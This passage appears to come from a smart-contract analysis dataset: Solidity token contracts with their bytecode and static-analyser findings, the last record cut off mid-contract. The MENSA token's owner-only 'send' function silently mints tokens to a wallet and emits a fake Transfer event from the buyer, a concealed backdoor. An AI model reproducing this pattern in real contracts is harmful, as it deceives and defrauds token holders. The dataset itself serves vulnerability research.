nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "PGLD::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "PGLD::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "PGLD::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "PGLD::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "PGLD::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "PGLD::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "PGLD::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "PGLD::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611746565b60405180910390f35b61015761015236600461120f565b6102ea565b60405161013b919061169c565b61016c6103a7565b60405161013b91906116aa565b61016c6103b6565b61015761018f3660046111c2565b6103cd565b61019c610512565b60405161013b91906117e0565b6101bc6101b7366004611162565b610517565b60405161013b919061168e565b6101dc6101d7366004611162565b610532565b005b6101f16101ec366004611162565b61053f565b60405161013b91906117b7565b61016c61020c366004611162565b610557565b61022461021f36600461120f565b61057b565b60405161013b91906117fc565b61016c61023f366004611162565b610792565b61012e6107a4565b61015761025a36600461120f565b6107c4565b61022461026d366004611162565b610800565b6101dc61028036600461123f565b610870565b61016c610293366004611188565b610a5f565b61016c610a91565b6102b36102ae3660046112c6565b610a9d565b60405161013b9291906117c5565b6040518060400160405280600d81526020016c14195bdc1b1949dcc811dbdb19609a1b81525081565b6000806000198314156103005750600019610325565b61032283604051806060016040528060258152602001611a2e60259139610ad2565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103939085906117ee565b60405180910390a360019150505b92915050565b6ac685fa11e01ec6f000000081565b6040516103c290611678565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b039091169285926104239288929190611a2e90830139610ad2565b9050866001600160a01b0316836001600160a01b03161415801561045057506001600160601b0382811614155b156104f857600061047a83836040518060600160405280603d815260200161196f603d9139610b01565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104ee9085906117ee565b60405180910390a3505b610503878783610b40565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61053c3382610ceb565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105a55760405162461bcd60e51b815260040161059c906117a7565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105d35760009150506103a1565b6001600160a01b038416600090815260036020908152604080832063ffffffff60001986018116855292529091205416831061064f576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103a1565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068a5760009150506103a1565b600060001982015b8163ffffffff168163ffffffff16111561074d57600282820363ffffffff160481036106bc61111f565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610728576020015194506103a19350505050565b805163ffffffff1687111561073f57819350610746565b6001820392505b5050610692565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060048152602001631411d31160e21b81525081565b6000806107e983604051806060016040528060268152602001611a0860269139610ad2565b90506107f6338583610b40565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff168061082b57600061050b565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b600060405161087e90611678565b60408051918290038220828201909152600d82526c14195bdc1b1949dcc811dbdb19609a1b6020909201919091527fc51847cc066e0a77249bcba99d4090c0208f8fca673ac0306fdcbd0e6a96bc416108d5610d75565b306040516020016108e994939291906116f6565b604051602081830303815290604052805190602001209050600060405161090f90611683565b60405190819003812061092a918a908a908a906020016116b8565b60405160208183030381529060405280519060200120905060008282604051602001610957929190611647565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610994949392919061172b565b6020604051602081039080840390855afa1580156109b6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109e95760405162461bcd60e51b815260040161059c90611797565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a285760405162461bcd60e51b815260040161059c90611757565b87421115610a485760405162461bcd60e51b815260040161059c90611777565b610a52818b610ceb565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103c290611683565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610af95760405162461bcd60e51b815260040161059c9190611746565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b385760405162461bcd60e51b815260040161059c9190611746565b505050900390565b6001600160a01b038316610b665760405162461bcd60e51b815260040161059c90611767565b6001600160a01b038216610b8c5760405162461bcd60e51b815260040161059c90611787565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bd7936001600160601b03909216928592919061190990830139610b01565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c3f949190911692859290919061193f90830139610d79565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cac9085906117ee565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610ce692918216911683610db5565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d6f828483610db5565b50505050565b4690565b6000838301826001600160601b038087169083161015610dac5760405162461bcd60e51b815260040161059c9190611746565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610de057506000816001600160601b0316115b15610ce6576001600160a01b03831615610e98576001600160a01b03831660009081526004602052604081205463ffffffff169081610e20576000610e5f565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e8682856040518060600160405280602881526020016119ac60289139610b01565b9050610e9486848484610f43565b5050505b6001600160a01b03821615610ce6576001600160a01b03821660009081526004602052604081205463ffffffff169081610ed3576000610f12565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f3982856040518060600160405280602781526020016118e260279139610d79565b9050610a57858484845b6000610f67436040518060600160405280603481526020016119d4603491396110f8565b905060008463ffffffff16118015610fb057506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561100f576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110ae565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110e992919061180a565b60405180910390a25050505050565b600081600160201b8410610af95760405162461bcd60e51b815260040161059c9190611746565b604080518082019091526000808252602082015290565b80356103a1816118b2565b80356103a1816118c6565b80356103a1816118cf565b80356103a1816118d8565b60006020828403121561117457600080fd5b60006111808484611136565b949350505050565b6000806040838503121561119b57600080fd5b60006111a78585611136565b92505060206111b885828601611136565b9150509250929050565b6000806000606084860312156111d757600080fd5b60006111e38686611136565b93505060206111f486828701611136565b925050604061120586828701611141565b9150509250925092565b6000806040838503121561122257600080fd5b600061122e8585611136565b92505060206111b885828601611141565b60008060008060008060c0878903121561125857600080fd5b60006112648989611136565b965050602061127589828a01611141565b955050604061128689828a01611141565b945050606061129789828a01611157565b93505060806112a889828a01611141565b92505060a06112b989828a01611141565b9150509295509295509295565b600080604083850312156112d957600080fd5b60006112e58585611136565b92505060206111b88582860161114c565b6112ff81611837565b82525050565b6112ff81611842565b6112ff81611847565b6112ff61132382611847565b611847565b600061133382611825565b61133d8185611829565b935061134d81856020860161187c565b611356816118a8565b9093019392505050565b600061136d600283611832565b61190160f01b815260020192915050565b600061138b602283611829565b7f50474c443a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006113cf603c83611829565b7f50474c443a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b600061142e602683611829565b7f50474c443a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b6000611476603a83611829565b7f50474c443a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b60006114d5602683611829565b7f50474c443a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b600061151d604383611832565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611588603a83611832565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b60006115e7602783611829565b7f50474c443a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6112ff81611856565b6112ff8161185f565b6112ff81611871565b6112ff81611865565b600061165282611360565b915061165e8285611317565b60208201915061166e8284611317565b5060200192915050565b60006103a182611510565b60006103a18261157b565b602081016103a182846112f6565b602081016103a18284611305565b602081016103a1828461130e565b608081016116c6828761130e565b6116d360208301866112f6565b6116e0604083018561130e565b6116ed606083018461130e565b95945050505050565b60808101611704828761130e565b611711602083018661130e565b61171e604083018561130e565b6116ed60608301846112f6565b60808101611739828761130e565b6116d3602083018661162c565b6020808252810161050b8184611328565b602080825281016103a18161137e565b602080825281016103a1816113c2565b602080825281016103a181611421565b602080825281016103a181611469565b602080825281016103a1816114c8565b602080825281016103a1816115da565b602081016103a18284611623565b604081016117d38285611623565b61050b602083018461163e565b602081016103a1828461162c565b602081016103a18284611635565b602081016103a1828461163e565b604081016118188285611635565b61050b6020830184611635565b5190565b90815260200190565b919050565b60006103a18261184a565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103a182611865565b60005b8381101561189757818101518382015260200161187f565b83811115610d6f5750506000910152565b601f01601f191690565b6118bb81611837565b811461053c57600080fd5b6118bb81611847565b6118bb81611856565b6118bb8161185f56fe50474c443a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777350474c443a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636550474c443a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777350474c443a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636550474c443a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777350474c443a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747350474c443a3a7472616e736665723a20616d6f756e742065786365656473203936206269747350474c443a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a365627a7a72315820f14cac5b4128790494a688d7f509f4ecb8ff12d06d8b0cad7e8e8ba0620fff296c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,474
0xa90c8f4523f89004dd106f2bc0e98ca4b138cce0
/** * Investors relations: gogogadgetgetit **/ pragma solidity ^0.4.24; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Standard * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface OldFACEToken { function transfer(address receiver, uint amount) external; function balanceOf(address _owner) external returns (uint256 balance); function showMyTokenBalance(address addr) external; } contract MENSA is ERC20Interface,Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) tokenBalances; string public constant name = "MENSA"; string public constant symbol = "MSA"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 8761815; address ownerWallet; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) allowed; event Debug(string message, address addr, uint256 number); function MENSA (address wallet) public { owner = msg.sender; ownerWallet=wallet; totalSupply = INITIAL_SUPPLY * 10 ** 18; tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBalances[msg.sender]>=_value); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= tokenBalances[_from]); require(_value <= allowed[_from][msg.sender]); tokenBalances[_from] = tokenBalances[_from].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - tokenBalances[address(0)]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return tokenBalances[_owner]; } function send(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[buyer]<=tokenAmount); tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); Transfer(buyer, wallet, tokenAmount); } function showMyTokenBalance(address addr) public view returns (uint tokenBalance) { tokenBalance = tokenBalances[addr]; } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea5780630779afe614610174578063095ea7b3146101a057806318160ddd146101d857806323b872dd146101ff5780632ff2e9dc14610229578063313ce5671461023e578063661884631461025357806370a08231146102775780638da5cb5b146102985780638fe476251461027757806395d89b41146102c9578063a9059cbb146102de578063d73dd62314610302578063dd62ed3e14610326578063f2fde38b1461034d575b600080fd5b3480156100f657600080fd5b506100ff61036e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b5061019e600160a060020a03600435811690602435166044356103a5565b005b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610466565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed6104cc565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4600160a060020a03600435811690602435166044356104fe565b34801561023557600080fd5b506101ed610677565b34801561024a57600080fd5b506101ed61067e565b34801561025f57600080fd5b506101c4600160a060020a0360043516602435610683565b34801561028357600080fd5b506101ed600160a060020a0360043516610773565b3480156102a457600080fd5b506102ad61078e565b60408051600160a060020a039092168252519081900360200190f35b3480156102d557600080fd5b506100ff61079d565b3480156102ea57600080fd5b506101c4600160a060020a03600435166024356107d4565b34801561030e57600080fd5b506101c4600160a060020a03600435166024356108a0565b34801561033257600080fd5b506101ed600160a060020a0360043581169060243516610939565b34801561035957600080fd5b5061019e600160a060020a0360043516610964565b60408051808201909152600581527f4d454e5341000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a031633146103bc57600080fd5b600160a060020a0382166000908152600260205260409020548110156103e157600080fd5b600160a060020a03831660009081526002602052604090205461040a908263ffffffff6109f816565b600160a060020a0380851660008181526002602090815260409182902094909455805185815290519193928616927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561051557600080fd5b600160a060020a03841660009081526002602052604090205482111561053a57600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561056a57600080fd5b600160a060020a038416600090815260026020526040902054610593908363ffffffff610a0e16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105c8908363ffffffff6109f816565b600160a060020a03808516600090815260026020908152604080832094909455918716815260048252828120338252909152205461060c908363ffffffff610a0e16565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6285b1d781565b601281565b336000908152600460209081526040808320600160a060020a0386168452909152812054808311156106d857336000908152600460209081526040808320600160a060020a038816845290915281205561070d565b6106e8818463ffffffff610a0e16565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051808201909152600381527f4d53410000000000000000000000000000000000000000000000000000000000602082015281565b336000908152600260205260408120548211156107f057600080fd5b33600090815260026020526040902054610810908363ffffffff610a0e16565b3360009081526002602052604080822092909255600160a060020a03851681522054610842908363ffffffff6109f816565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600460209081526040808320600160a060020a03861684529091528120546108d4908363ffffffff6109f816565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a0316331461097b57600080fd5b600160a060020a038116151561099057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610a0757fe5b9392505050565b600082821115610a1a57fe5b509003905600a165627a7a72305820693034350b07ee6208672a70ae4342799db9ad8a931f16245b47913c7f1a95620029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,475
0xb1eb150f682541e410a4435801557950b7018816
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract gladiatorinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Gladiator Inu"; string private constant _symbol = "GLASIATOR"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xD69C634f7Ea25E0fE0ad7D8D79eCDf7882f07d2d); _buyTax = 13; _sellTax = 13; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns 